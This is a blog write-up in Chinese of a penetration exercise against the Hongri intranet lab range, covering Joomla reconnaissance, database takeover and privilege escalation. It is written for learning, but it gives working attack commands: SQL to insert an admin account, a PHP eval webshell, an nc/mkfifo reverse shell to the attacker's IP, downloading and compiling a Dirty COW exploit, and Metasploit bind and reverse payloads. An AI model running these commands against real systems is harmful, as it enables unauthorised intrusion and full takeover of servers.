红日内网靶场渗透实战笔记
本文最后更新于 2024-09-03,文章内容可能已经过时。
红日内网综合靶场实战
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
一、靶场简介
VUL综合内网靶场
目标:获取到两台靶机的root权限
环境搭建:
两台虚拟机需要同时开启,且内网网卡需要和宿主机保持网络隔离,即选择的网卡为物理机上没有的网卡。如下图,应选择不带有“仅主机模式”、“NAT模式”的网卡,如 VMnet2
访问对应的80端口,可以看见如下页面说明靶机搭建成功
注意:由于VMware版本或AMD芯片兼容性的问题可能导致无法打开虚拟机,可以尝试升级虚拟机或更改硬件兼容性
CentOS获取不到网络的解决方案:
- 打开CentOS虚拟机所在的目录,找到
web.vmx
- 将其中网卡MAC改为如下的值
ethernet0.generatedAddress = "00:0C:29:32:46:C9"
ethernet1.generatedAddress = "00:0C:29:32:46:D3"
- 再按照上面配置文件的值,对应修改虚拟机设置中的网卡MAC(需要在关机状态才能修改)
网络适配器为: 00:0C:29:32:46:C9
网络适配器2为:00:0C:29:32:46:D3
环境配置信息:
kali(攻击机): 192.168.91.129
web-centos: 192.168.91.xxx (外网主机)
web-ubantu主机:xxx.xxx.xxx.xxx (内网主机)
二、信息搜集
主机发现:
nmap扫描:
扫描网段信息:
nmap -sP 192.168.91.0/24
发现外网主机ip地址:192.168.91.143
端口扫描:
扫描开放的端口信息和系统信息:
nmap -T4 -A -v -O 192.168.201.153
# 参数说明:
# -T4 比默认速度稍快(级别1-5)
# -A 启用操作系统检测、版本检测、脚本扫描和路由跟踪
# -v 输出更多详细信息
# -O 输出目标主机操作系统及其版本信息
可以看到目标主机开启了80端口和3306端口和22端口
80端口貌似是用nginx进行反向代理的。3306端口为mysql端口MSQL版本5.5.27
目标主机是Linux操作系统,Linux版本内核大致为 2.6.32-3.10
尝试访问目标主机80端口
漏洞扫描:
nmap执行一下脚本漏洞扫描:
nmap --script=vuln 192.168.91.143
没有太多可用信息,但是扫描出来了 /administrator/manifests/files/joomla.xml
这个后台路径,访问一下
在页面中找到了支持的数据库类型列表
使用awvs进行漏洞扫描:
扫描到了一个高危,网址信息: http://192.168.91.143/configuration.php~
查看第一个高危漏洞信息
上述信息可以知道使用的数据库是mysql,用户名和密码也知道了。
使用远程连接工具,连接数据库
继续查看有什么有价值的信息。
测试XSS漏洞:
在搜索框测试下有没有xss漏洞可以利用
<script>alert(1)<script>
没有xss漏洞利用
登录界面尝试弱密码admin;admin登录。
尝试sql注入,无用。
子域名扫描:
使用浏览器Wappalyzer插件发现发现joomla cms系统
安装使用joomscan进行扫描
https://github.com/rezasp/joomscan.git
cd joomscan
perl joomscan.pl
小插曲:安装 perl joomscan.pl
显示报错
原因是Perl脚本在执行安装时无法找到LWP模块,解决方法:
安装LWP模块
sudo apt install perl-doc libwww-perl
重新运行安装脚本,出现如下:
进行扫描:
perl joomscan.pl http://192.168.91.143/index.php
无结果
再次扫描
perl joomscan.pl -u http://192.168.91.143/
可以看到还是扫描到了后台界面,/administrator/,和Joomla版本信息:Joomla 3.9.12
和配置文件目录,里面可能有mysql配置文件啥的,/configuration.php~
换一种扫描方式,使用dirsearch工具扫描子目录
dirsearch -u http://192.168.91.143/
扫描到的比较重要的结果:
http://192.168.91.143/administrator/
http://192.168.91.143/web.config.txt
http://192.168.91.143/components/
扫描到了 http://192.168.91.143/administrator/
后台目录,浏览器访问
扫描到了 http://192.168.91.143/web.config.txt
,浏览器访问
使用dirb进行扫描:
dirb http://192.168.91.143/ /usr/share/dirb/wordlists/big.txt
扫描到的有用的信息的网址:
http://192.168.91.143/administrator/
http://192.168.91.143/administrator/help/
http://192.168.91.143/components/com_banners/
http://192.168.91.143/1.php
访问 1.php
,发现php信息,信息中显示资源来源于Ubuntu,Linux版本4.4.0.142
发现另一台主机(内网)的ip信息和远程ip(内网)信息。发现资源存储路径为 /var/www/html
发现禁用了一些函数
访问 /components/com_banners/
,如下
访问 /administrator/help/
,发现 helpsites.xml
,进入查看发现如下信息,说明真的是joomla框架的CMS系统
三、拖库
在信息搜集中已经得到了mysql的用户名和密码信息,并已经成功使用远程连接工具连接成功,并已经通过子域名扫描扫描出来后台登录页面,在joomla库的am2zu_users表中成功拿到用户的用户名和密码。
#得到的用户名和密码如下
administrator
$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2
尝试使用用户名和密码登录后台页面,尝试登录失败,应该是加密过的,所以尝试插入新的用户进行登录
这里有两种方法
1.自己建个joomla然后新建用户把加密后的密码复制过来插入
2.用在线md5加密指定的用户名直接插入
这里选择第二种
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'e10adc3949ba59abbe56e057f20f883e', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
尝试使用新用户名进行登录
成功登录到后台
四、写入木马Getshell
点击查看system中的Global Configuration(全局配置)
查看网站模板(Extensions-->Templates-->Templates)
点击进入第二个,在index.php页面写入信息尝试,save保存后,到首页查看
发现可以写入,写入一句话木马保存后用蚁剑进行连接。
尝试蚁剑
eval ($_POST['123456']);
进入靶机虚拟终端,发现无法执行cmd命令,说明给禁用了。
选择蚁剑插件,绕过disable_functions
选择模式-->PHP7 Backtrace UAF--->开始
成功执行cmd命令
查看ip信息,结合信息搜集阶段拿到的1.php文件中的ip信息可以知道拿到的是内网web-centos的信息,为一台反向代理的服务器,web-ubuntu才是真正的服务器。
五、提权
**利用MSF中漏洞进行提权 **
(1)、msf要能连接ubuntu
(2)、利用木马
(3)、在kali中创建一个代理
(4)、利用第三方软件Neo
(1)、把Neo-reGeorg-master上传到kali中,并解压缩
unzip Neo-reGeorg-master.zip
(2)、生成一个php文件
python3 neoreg.py generate -k 123456
# 123456 :设置将来简介这个文件的密码
# tunnel.php
当前是php应用,所以只要把 tunnel.php文件上传到ubuntu 上 ,利用蚁剑。
(3)、创建代理
python3 neoreg.py -k 123456 -u http://192.168.91.143/test_tunnel/tunnel.php
netstat -anpt查看端口后,可以发现多出了一个1080端口服务
代理创建之后,可以在Kali中访问 ubuntu的服务 。
但是只能在浏览器中访问 内网服务,如果在Kali的其他软件中,是无法访问的,或者在其他主机上也无法访问 。
如果想在kali的其他软件中或者其他主机上访问内网服务,需要再Kali中配置全局代理 ..
(2)、配置全局代理
在Kali中修改一个配置文件 :
vi /etc/proxychains4.conf
# 在文档的最后 配置
socks5 127.0.0.1 1080
配置全局代理之后,访问内网时 ,需要再前面加一个前缀 :
proxychains
# 例如 :
proxychains curl http://192.168.93.120
MSF中获取内网的getshell
(1)、Kali浏览器配置代理
生成一个msf的linux正向木马,蚁剑上传到内网主机中,需要设置执行权限 ,使用disable_functions绕过的插件 .然后运行木马
msfvenom -p linux/x64/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=4444 -f elf -o linux_4444.elf
设置msf全局代理
msf6 > setg proxies socks5:127.0.0.1:1080 #设置代理
proxies => socks5:127.0.0.1:1080
msf6 > setg proxies # 查看代理
proxies => socks5:127.0.0.1:1080
msf6 >
正向连接木马
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
show options
set rhost 192.168.93.120
set rport 4444
run
这里直接获取到了root权限。
利用linux-exploit-suggester.sh查看可利用漏洞
上传linux-exploit-suggester脚本到目标主机上。 在蚁剑中更改权限为7777
利用linux-exploit-suggester.sh查看可利用漏洞
centos提权
这里扫描到了脏牛漏洞
下载后利用成功提权
wget https://www.exploit-db.com/download/40839
cp 40839 exp.c
gcc -pthread exp.c -o dirty -lcrypt
ubuntu提权
将绕过disable_function的shell反弹到centos上
centos执行:
nc -l 2333
ubuntu执行:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.91.129 2333 >/tmp/f
成功getsll Ubuntu主机,上传脚本到主机,执行 ./linux-exploit-suggester.sh
重新扫描看看有没有脏牛漏洞利用
发现脏牛漏洞
下载 2021-3493
编译执行,成功提权
将rootshell反弹到msf上
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.91.129
set lport 4444
run
至此,提权成功。
- 感谢你赐予我前进的力量